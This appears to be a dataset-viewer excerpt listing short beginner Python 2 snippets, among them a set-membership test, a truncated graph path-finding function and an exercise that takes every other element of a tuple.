s = set(['admin', 'cc', 'dd', '33'])
print s
print 'admin' in s
|
15,798 | 7f1c64ca3c405012c4e05a1d2186f81183a18b3d | #!/usr/bin/env python
#from sets import Set
import sys, math
def find_all_path_pool(g, start, end, pool=set([]), path=[]):
path = path+[start]
if start==end:
if len(path) == len(g.keys()):
return [path]
return []
if not g.has_key(start):
return []
paths = []
path... |
15,799 | 93f3b70d930f14f645b03e95b79c3be994e115bd | def oddTuples(aTup):
'''
aTup: a tuple
returns: tuple, every other element of aTup.
'''
# Your Code Here
g = ()
for i in range(len(aTup)):
if i%2 != 0:
print i
continue
else:
g = g + (aTup[i],)
print "g " , g
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.